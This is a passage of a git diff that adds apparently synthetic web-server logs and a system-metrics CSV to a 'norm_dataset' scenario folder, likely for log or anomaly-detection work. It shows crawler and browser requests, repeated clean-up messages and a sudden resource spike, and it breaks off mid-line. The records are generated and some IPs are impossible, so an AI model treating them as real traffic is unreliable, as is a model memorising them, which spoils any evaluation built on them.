/search?q=gemini HTTP/1.1" 200 6779 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:48 ] "GET /search?q=gemini HTTP/1.1" 200 9712 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:48 ] "GET /search?q=gemini HTTP/1.1" 200 12757 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:48 ] "GET /search?q=gemini HTTP/1.1" 200 8979 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:50 ] "GET /products/123 HTTP/1.1" 200 8438 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:50 ] "GET /search?q=gemini HTTP/1.1" 200 11144 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:50 ] "GET /products/123 HTTP/1.1" 200 14164 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:50 ] "GET /blog/latest-news HTTP/1.1" 200 14522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:50 ] "GET /search?q=gemini HTTP/1.1" 200 12510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:51 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:51 ] "GET / HTTP/1.1" 200 13069 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:51 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:51 ] "GET /api/v1/user/42 HTTP/1.1" 200 14020 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:52 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:52 ] "GET /about HTTP/1.1" 200 9983 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:52 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:52 ] "GET /blog/latest-news HTTP/1.1" 200 13313 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:52 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:52 ] "GET /blog/latest-news HTTP/1.1" 200 9640 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:53 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:53 ] "GET / HTTP/1.1" 200 13807 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:53 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:53 ] "GET /contact HTTP/1.1" 200 10120 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:54 ] "GET /blog/latest-news HTTP/1.1" 200 6385 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:54 ] "GET /contact HTTP/1.1" 200 11170 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:54 ] "GET /about HTTP/1.1" 200 12867 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:54 ] "GET /search?q=gemini HTTP/1.1" 200 8610 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:54 ] "GET /products/123 HTTP/1.1" 200 14259 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:55 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:55 ] "GET / HTTP/1.1" 200 5133 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:55 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:55 ] "GET / HTTP/1.1" 200 9110 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:55 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:55 ] "GET /contact HTTP/1.1" 200 10170 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:56 ] "GET /blog/latest-news HTTP/1.1" 200 11645 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:56 ] "GET /blog/latest-news HTTP/1.1" 200 9134 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:56 ] "GET /search?q=gemini HTTP/1.1" 200 5103 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:56 ] "GET /about HTTP/1.1" 200 7426 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:56 ] "GET /blog/latest-news HTTP/1.1" 200 10346 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:57 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:57 ] "GET /contact HTTP/1.1" 200 6699 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:58 ] "GET /blog/latest-news HTTP/1.1" 200 12198 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:58 ] "GET /blog/latest-news HTTP/1.1" 200 7253 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:58 ] "GET /contact HTTP/1.1" 200 14699 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:58 ] "GET /about HTTP/1.1" 200 7541 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:58 ] "GET /api/v1/user/42 HTTP/1.1" 200 13532 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:58 ] "GET /blog/latest-news HTTP/1.1" 200 11392 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:58 ] "GET /products/123 HTTP/1.1" 200 7530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:59 ] "GET /api/v1/user/42 HTTP/1.1" 200 14755 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:59 ] "GET /products/123 HTTP/1.1" 200 5364 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:59 ] "GET /blog/latest-news HTTP/1.1" 200 10716 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:59 ] "GET /blog/latest-news HTTP/1.1" 200 14037 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:05:00 web-app[2233]: 60.172.157.74 - - [22/Aug/2025:10:05:00 ] "GET /blog/latest-news HTTP/1.1" 200 2729 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:05:04 web-app[2233]: 253.116.250.5 - - [22/Aug/2025:10:05:04 ] "GET /api/v1/user/42 HTTP/1.1" 200 4923 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:05 web-app[2233]: 35.71.20.43 - - [22/Aug/2025:10:05:05 ] "GET /about HTTP/1.1" 200 5717 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:12 web-app[2233]: 120.195.221.144 - - [22/Aug/2025:10:05:12 ] "GET /blog/latest-news HTTP/1.1" 200 6437 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:18 web-app[2233]: 115.146.1.143 - - [22/Aug/2025:10:05:18 ] "GET /about HTTP/1.1" 200 6244 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:21 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:21 web-app[2233]: 109.156.225.174 - - [22/Aug/2025:10:05:21 ] "GET /contact HTTP/1.1" 404 7367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:22 web-app[2233]: 159.139.116.231 - - [22/Aug/2025:10:05:22 ] "GET /products/123 HTTP/1.1" 200 7049 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:27 web-app[2233]: 49.65.210.120 - - [22/Aug/2025:10:05:27 ] "GET /contact HTTP/1.1" 200 6025 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:05:31 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:34 web-app[2233]: 139.74.252.241 - - [22/Aug/2025:10:05:34 ] "GET /products/123 HTTP/1.1" 200 4362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:35 web-app[2233]: 151.122.214.253 - - [22/Aug/2025:10:05:35 ] "GET /blog/latest-news HTTP/1.1" 200 1823 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:41 web-app[2233]: 153.9.26.120 - - [22/Aug/2025:10:05:41 ] "GET /products/123 HTTP/1.1" 200 1192 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:41 web-app[2233]: 251.213.144.216 - - [22/Aug/2025:10:05:41 ] "GET / HTTP/1.1" 200 3441 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:05:43 web-app[2233]: 31.146.46.139 - - [22/Aug/2025:10:05:43 ] "GET /api/v1/user/42 HTTP/1.1" 200 3071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:47 web-app[2233]: 2.66.21.123 - - [22/Aug/2025:10:05:47 ] "GET /blog/latest-news HTTP/1.1" 200 6480 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:05:52 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:59 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:59 web-app[2233]: 39.56.217.90 - - [22/Aug/2025:10:05:59 ] "GET /contact HTTP/1.1" 200 4066 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:02 web-app[2233]: 86.103.144.144 - - [22/Aug/2025:10:06:02 ] "GET /blog/latest-news HTTP/1.1" 200 7300 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:04 web-app[2233]: 113.227.1.26 - - [22/Aug/2025:10:06:04 ] "GET /products/123 HTTP/1.1" 404 2826 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:06 web-app[2233]: 229.139.213.143 - - [22/Aug/2025:10:06:06 ] "GET /products/123 HTTP/1.1" 200 5213 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:09 web-app[2233]: 186.35.129.149 - - [22/Aug/2025:10:06:09 ] "GET /search?q=gemini HTTP/1.1" 200 4196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:10 web-app[2233]: 211.158.9.227 - - [22/Aug/2025:10:06:10 ] "GET /about HTTP/1.1" 200 1676 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:12 web-app[2233]: 43.151.134.109 - - [22/Aug/2025:10:06:12 ] "GET /about HTTP/1.1" 200 1822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:13 web-app[2233]: 124.180.115.97 - - [22/Aug/2025:10:06:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 6504 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:15 web-app[2233]: 61.157.217.4 - - [22/Aug/2025:10:06:15 ] "GET /products/123 HTTP/1.1" 200 4799 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:16 web-app[2233]: 161.75.108.145 - - [22/Aug/2025:10:06:16 ] "GET /contact HTTP/1.1" 200 2341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:18 web-app[2233]: 14.31.118.195 - - [22/Aug/2025:10:06:18 ] "GET /about HTTP/1.1" 404 1403 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:24 web-app[2233]: 176.200.97.243 - - [22/Aug/2025:10:06:24 ] "GET /blog/latest-news HTTP/1.1" 200 7644 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:28 web-app[2233]: 140.243.193.34 - - [22/Aug/2025:10:06:28 ] "GET /contact HTTP/1.1" 404 5508 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:28 web-app[2233]: 147.251.239.8 - - [22/Aug/2025:10:06:28 ] "GET /about HTTP/1.1" 200 7239 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:32 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:33 web-app[2233]: 82.144.126.217 - - [22/Aug/2025:10:06:33 ] "GET /contact HTTP/1.1" 200 5386 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:34 web-app[2233]: 203.53.75.229 - - [22/Aug/2025:10:06:34 ] "GET /api/v1/user/42 HTTP/1.1" 200 7338 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:39 web-app[2233]: 159.101.167.144 - - [22/Aug/2025:10:06:39 ] "GET / HTTP/1.1" 200 2505 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:40 web-app[2233]: 175.175.3.240 - - [22/Aug/2025:10:06:40 ] "GET /about HTTP/1.1" 200 5189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:43 web-app[2233]: 50.235.152.160 - - [22/Aug/2025:10:06:43 ] "GET /products/123 HTTP/1.1" 200 5663 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:43 web-app[2233]: 99.129.250.201 - - [22/Aug/2025:10:06:43 ] "GET /products/123 HTTP/1.1" 200 3142 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:46 web-app[2233]: 130.202.213.229 - - [22/Aug/2025:10:06:46 ] "GET /about HTTP/1.1" 200 4965 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:46 web-app[2233]: 248.112.52.101 - - [22/Aug/2025:10:06:46 ] "GET / HTTP/1.1" 200 6030 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:51 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:52 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:55 web-app[2233]: 79.177.126.5 - - [22/Aug/2025:10:06:55 ] "GET /about HTTP/1.1" 200 3430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:01 web-app[2233]: 45.161.76.105 - - [22/Aug/2025:10:07:01 ] "GET /contact HTTP/1.1" 200 5760 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:07 web-app[2233]: 121.236.124.48 - - [22/Aug/2025:10:07:07 ] "GET /search?q=gemini HTTP/1.1" 200 3641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:10 web-app[2233]: 148.240.140.191 - - [22/Aug/2025:10:07:10 ] "GET /blog/latest-news HTTP/1.1" 200 6481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:12 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:12 web-app[2233]: 207.115.182.48 - - [22/Aug/2025:10:07:12 ] "GET /products/123 HTTP/1.1" 200 5337 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:18 web-app[2233]: 200.146.17.123 - - [22/Aug/2025:10:07:18 ] "GET /contact HTTP/1.1" 200 2066 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:22 web-app[2233]: 205.90.216.194 - - [22/Aug/2025:10:07:22 ] "GET /contact HTTP/1.1" 200 4214 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:26 web-app[2233]: 119.114.65.142 - - [22/Aug/2025:10:07:26 ] "GET /blog/latest-news HTTP/1.1" 200 4718 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:28 web-app[2233]: 249.175.192.77 - - [22/Aug/2025:10:07:28 ] "GET /blog/latest-news HTTP/1.1" 404 3566 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_3.csv b/norm_dataset/scenario_8/norm_8_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..d07fb20119b7a4f63d2880eb49f6e94d121d510e --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.39,39.19,37.14,1.44,1.42 +2025-07-02T12:00:05Z,15.94,38.8,37.03,0.59,1.48 +2025-07-02T12:00:10Z,15.24,40.11,34.32,0.68,1.24 +2025-07-02T12:00:15Z,15.73,43.99,27.46,0.6,1.26 +2025-07-02T12:00:20Z,10.31,39.32,39.55,1.43,1.52 +2025-07-02T12:00:25Z,17.88,40.93,34.57,1.05,1.13 +2025-07-02T12:00:30Z,15.08,39.8,34.26,0.98,1.7 +2025-07-02T12:00:35Z,12.63,43.19,22.73,0.91,1.57 +2025-07-02T12:00:40Z,14.86,42.11,39.51,0.6,1.79 +2025-07-02T12:00:45Z,11.92,41.06,27.43,0.55,1.99 +2025-07-02T12:00:50Z,12.4,42.73,32.07,1.15,1.53 +2025-07-02T12:00:55Z,12.1,41.9,39.58,1.5,1.97 +2025-07-02T12:01:00Z,12.3,42.5,26.15,1.44,1.63 +2025-07-02T12:01:05Z,15.63,44.51,29.08,0.73,1.56 +2025-07-02T12:01:10Z,10.1,40.97,35.55,0.58,1.67 +2025-07-02T12:01:15Z,10.58,44.89,24.61,1.07,1.47 +2025-07-02T12:01:20Z,10.19,38.14,28.35,1.22,1.47 +2025-07-02T12:01:25Z,18.8,41.95,22.03,1.4,1.61 +2025-07-02T12:01:30Z,14.91,36.77,35.24,1.45,1.17 +2025-07-02T12:01:35Z,10.18,41.18,29.15,1.04,1.87 +2025-07-02T12:01:40Z,12.68,35.24,26.12,1.08,1.31 +2025-07-02T12:01:45Z,11.08,38.14,37.93,0.68,1.58 +2025-07-02T12:01:50Z,11.35,39.34,34.19,1.23,1.25 +2025-07-02T12:01:55Z,11.01,44.8,39.14,0.76,1.17 +2025-07-02T12:02:00Z,17.29,37.77,20.45,1.43,1.58 +2025-07-02T12:02:05Z,19.09,36.68,28.06,1.48,1.86 +2025-07-02T12:02:10Z,18.95,36.64,26.44,0.88,1.47 +2025-07-02T12:02:15Z,19.9,41.91,25.17,1.37,1.61 +2025-07-02T12:02:20Z,14.46,44.14,27.99,0.79,1.59 +2025-07-02T12:02:25Z,19.35,44.09,28.58,0.76,1.9 +2025-07-02T12:02:30Z,88.06,46.62,92.07,5.45,37.7 +2025-07-02T12:02:35Z,88.32,45.5,134.09,8.87,32.44 +2025-07-02T12:02:40Z,72.88,47.92,111.99,5.34,25.77 +2025-07-02T12:02:45Z,89.36,48.49,83.64,9.22,35.33 +2025-07-02T12:02:50Z,85.94,50.89,106.09,7.14,31.33 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/dev/null +++ b/norm_dataset/scenario_8/norm_8_3.log @@ -0,0 +1,472 @@ +Jul 02 12:00:04 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:04 +0000] "GET /products/123 HTTP/1.1" 200 13771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:09 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:09 +0000] "GET /index.html HTTP/1.1" 200 1155 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:09 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:00:09 +0000] "GET /blog/posts/latest HTTP/1.1" 200 18160 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:14 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:00:14 +0000] "GET /css/main.css HTTP/1.1" 304 2695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:14 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:00:14 +0000] "GET /blog/posts/latest HTTP/1.1" 200 6033 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:18 web-server-1 nginx[5678]: 172.16.31.42 - - [02/Jul/2025:12:00:18 +0000] "GET /contact HTTP/1.1" 200 17975 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:23 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:23 +0000] "GET /index.html HTTP/1.1" 200 21464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:24 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:24 +0000] "GET /blog/posts/latest HTTP/1.1" 200 19137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:25 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:00:25 +0000] "GET /css/main.css HTTP/1.1" 200 17703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:32 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:00:32 +0000] "GET /contact HTTP/1.1" 200 24239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:34 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:34 +0000] "GET /blog/posts/latest HTTP/1.1" 200 13062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" +Jul 02 12:00:39 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:00:39 +0000] "GET /css/main.css HTTP/1.1" 200 8027 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:40 web-server-1 nginx[5678]: 203.0.113.75 - - [02/Jul/2025:12:00:40 +0000] "GET /products/123 HTTP/1.1" 200 21085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:41 web-server-1 nginx[5678]: 192.168.1.193 - - [02/Jul/2025:12:00:41 +0000] "GET /css/main.css HTTP/1.1" 200 4133 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:43 web-server-1 nginx[5678]: 10.0.0.26 - - [02/Jul/2025:12:00:43 +0000] "GET /blog/posts/latest HTTP/1.1" 200 8091 "-" "Mozilla/5.0 (Windows NT 